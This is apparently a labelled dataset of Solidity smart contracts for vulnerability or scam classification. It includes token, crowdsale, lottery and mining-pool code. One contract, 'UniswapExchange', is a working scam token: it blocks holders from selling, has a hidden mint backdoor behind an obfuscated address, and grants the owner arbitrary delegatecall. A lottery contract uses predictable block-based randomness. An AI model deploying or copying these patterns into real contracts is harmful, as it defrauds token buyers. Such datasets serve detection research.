function getTokenAmount(uint256 _weiAmount)
public view returns (uint256)
{
return _getTokenAmount(_weiAmount);
}
function _getTokensWithDiscount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 tokens = 0;
uint256 restOfDiscountTokens = discountTokenAmount.sub(token.totalSupply());
uint256 discountTokensMax = _getDiscountTokenAmount(_weiAmount);
if (restOfDiscountTokens < discountTokensMax) {
uint256 discountTokens = restOfDiscountTokens;
uint256 _rate = _getDiscountRate();
uint256 _discointWeiAmount = discountTokens.div(_rate);
uint256 _restOfWeiAmount = _weiAmount.sub(_discointWeiAmount);
uint256 normalTokens = _restOfWeiAmount.mul(rate);
tokens = discountTokens.add(normalTokens);
} else {
tokens = discountTokensMax;
}
return tokens;
}
function _getDiscountTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
require(_weiAmount != 0, "It should be possible to buy tokens only by providing non zero ETH.");
uint256 _rate = _getDiscountRate();
return _weiAmount.mul(_rate);
}
function _getDiscountRate()
internal view returns (uint256)
{
require(isDiscount(), "Getting discount rate should be possible only below the discount tokens limit.");
return rate.add(rate.mul(discountTokenPercent).div(100));
}
function getRate()
public view returns (uint256)
{
if (isDiscount()) {
return _getDiscountRate();
}
return rate;
}
function isDiscount()
public view returns (bool)
{
return (privateSaleClosingTime >= block.timestamp && token.totalSupply() < discountTokenAmount);
}
function transferTokensToReserve(address _beneficiary) private
{
require(tokenSupplyLimit < CappedToken(token).cap(), "Token's supply limit should be less that token' cap limit.");
uint256 _tokenCap = CappedToken(token).cap();
uint256 tokens = _tokenCap.sub(tokenSupplyLimit);
_deliverTokens(_beneficiary, tokens);
}
function finalization() internal {
if (goalReached()) {
transferTokensToReserve(wallet);
vault.close();
} else {
vault.enableRefunds();
}
MintableToken(token).finishMinting();
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
} | 0 | 1,887 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,266 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "OOO";
string constant TOKEN_SYMBOL = "OOO";
bool constant PAUSED = false;
address constant TARGET_USER = 0x085DA0829d1e2338F18312AA3FF872ff8053d355;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
function MainToken() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 280 |
pragma solidity ^0.4.24;
contract Expirable {
uint public expireAfter;
function isExpired() public view returns (bool expire) {
return block.timestamp > expireAfter;
}
}
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a, "Safe ADD check");
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a, "Safe SUB check");
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b, "Safe MUL check");
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0, "Safe DIV check");
c = a / b;
}
}
contract ApproveAndCallFallback {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "Only owner allowed");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "Only owner allowed");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract EcoToken is ERC20Interface, Owned, SafeMath, Expirable {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "ECO";
name = "ECO Token for NEC2018";
decimals = 2;
uint base = 10;
_totalSupply = 100000000 * (base ** decimals);
expireAfter = block.timestamp + 86400 * 30;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(!isExpired(), "The token is expired");
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallback(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert("ETH not acceptable");
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0 | 1,719 |
pragma solidity ^0.4.11;
contract MiningRig {
string public warning = "請各位要有耐心等候交易完成喔";
address public owner = 0x0;
uint public closeBlock = 0;
uint public totalNTD = 0;
uint public totalWithdrew = 0;
mapping(address => uint) public usersNTD;
mapping(address => uint) public usersWithdrew;
modifier onlyOwner () {
assert(owner == msg.sender);
_;
}
modifier beforeCloseBlock () {
assert(block.number <= closeBlock);
_;
}
modifier afterCloseBlock () {
assert(block.number > closeBlock);
_;
}
modifier onlyMember () {
assert(usersNTD[msg.sender] != 0);
_;
}
function MiningRig () {
owner = msg.sender;
closeBlock = block.number + 5760;
}
function Register (address theUser, uint NTD) onlyOwner beforeCloseBlock {
usersNTD[theUser] += NTD;
totalNTD += NTD;
}
function Unregister (address theUser, uint NTD) onlyOwner beforeCloseBlock {
assert(usersNTD[theUser] >= NTD);
usersNTD[theUser] -= NTD;
totalNTD -= NTD;
}
function Withdraw () onlyMember afterCloseBlock {
uint everMined = this.balance + totalWithdrew;
uint totalUserCanWithdraw = everMined * usersNTD[msg.sender] / totalNTD;
uint userCanWithdrawNow = totalUserCanWithdraw - usersWithdrew[msg.sender];
totalWithdrew += userCanWithdrawNow;
usersWithdrew[msg.sender] += userCanWithdrawNow;
assert(userCanWithdrawNow > 0);
msg.sender.transfer(userCanWithdrawNow);
}
function Cashing (address targetAddress, uint permilleToCashing) onlyMember afterCloseBlock {
assert(permilleToCashing <= 1000);
assert(permilleToCashing > 0);
uint everMined = this.balance + totalWithdrew;
uint totalUserCanWithdraw = everMined * usersNTD[msg.sender] / totalNTD;
uint userCanWithdrawNow = totalUserCanWithdraw - usersWithdrew[msg.sender];
uint totalTargetUserCanWithdraw = everMined * usersNTD[targetAddress] / totalNTD;
uint targetUserCanWithdrawNow = totalTargetUserCanWithdraw - usersWithdrew[targetAddress];
assert(userCanWithdrawNow == 0);
assert(targetUserCanWithdrawNow == 0);
uint NTDToTransfer = usersNTD[msg.sender] * permilleToCashing / 1000;
uint WithdrewToTransfer = usersWithdrew[msg.sender] * permilleToCashing / 1000;
usersNTD[msg.sender] -= NTDToTransfer;
usersWithdrew[msg.sender] -= WithdrewToTransfer;
usersNTD[targetAddress] += NTDToTransfer;
usersWithdrew[targetAddress] += WithdrewToTransfer;
}
function ContractBalance () constant returns (uint) {
return this.balance;
}
function ContractTotalMined() constant returns (uint) {
return this.balance + totalWithdrew;
}
function MyTotalNTD () constant returns (uint) {
return usersNTD[msg.sender];
}
function MyTotalWithdrew () constant returns (uint) {
return usersWithdrew[msg.sender];
}
function () payable {}
} | 1 | 3,756 |
pragma solidity ^0.4.20;
contract Lottery{
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
modifier notPooh(address aContract)
{
require(aContract != address(poohContract));
_;
}
modifier isOpenToPublic()
{
require(openToPublic);
_;
}
event Deposit(
uint256 amount,
address depositer
);
event WinnerPaid(
uint256 amount,
address winner
);
POOH poohContract;
address owner;
bool openToPublic = false;
uint256 ticketNumber = 0;
uint256 winningNumber;
constructor() public
{
poohContract = POOH(0x4C29d75cc423E8Adaa3839892feb66977e295829);
openToPublic = false;
owner = msg.sender;
}
function() payable public { }
function deposit()
isOpenToPublic()
payable public
{
require(msg.value >= 10000000000000000);
address customerAddress = msg.sender;
poohContract.buy.value(msg.value)(customerAddress);
emit Deposit(msg.value, msg.sender);
if(msg.value > 10000000000000000)
{
uint extraTickets = SafeMath.div(msg.value, 10000000000000000);
ticketNumber += extraTickets;
}
if(ticketNumber >= winningNumber)
{
poohContract.exit();
payDev(owner);
payWinner(customerAddress);
resetLottery();
}
else
{
ticketNumber++;
}
}
function myTokens() public view returns(uint256)
{
return poohContract.myTokens();
}
function myDividends() public view returns(uint256)
{
return poohContract.myDividends(true);
}
function ethBalance() public view returns (uint256)
{
return address(this).balance;
}
function openToThePublic()
onlyOwner()
public
{
openToPublic = true;
resetLottery();
}
function emergencyStop()
onlyOwner()
public
{
poohContract.exit();
uint balance = address(this).balance;
owner.transfer(balance);
openToPublic = false;
}
function returnAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens)
public
onlyOwner()
notPooh(tokenAddress)
returns (bool success)
{
return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens);
}
function payWinner(address winner) internal
{
uint balance = address(this).balance;
winner.transfer(balance);
emit WinnerPaid(balance, winner);
}
function payDev(address dev) internal
{
uint balance = SafeMath.div(address(this).balance, 10);
dev.transfer(balance);
}
function resetLottery() public
onlyOwner()
{
ticketNumber = 1;
winningNumber = uint256(keccak256(block.timestamp, block.difficulty))%300;
}
}
contract ERC20Interface
{
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract POOH
{
function buy(address) public payable returns(uint256);
function exit() public;
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
} | 0 | 359 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
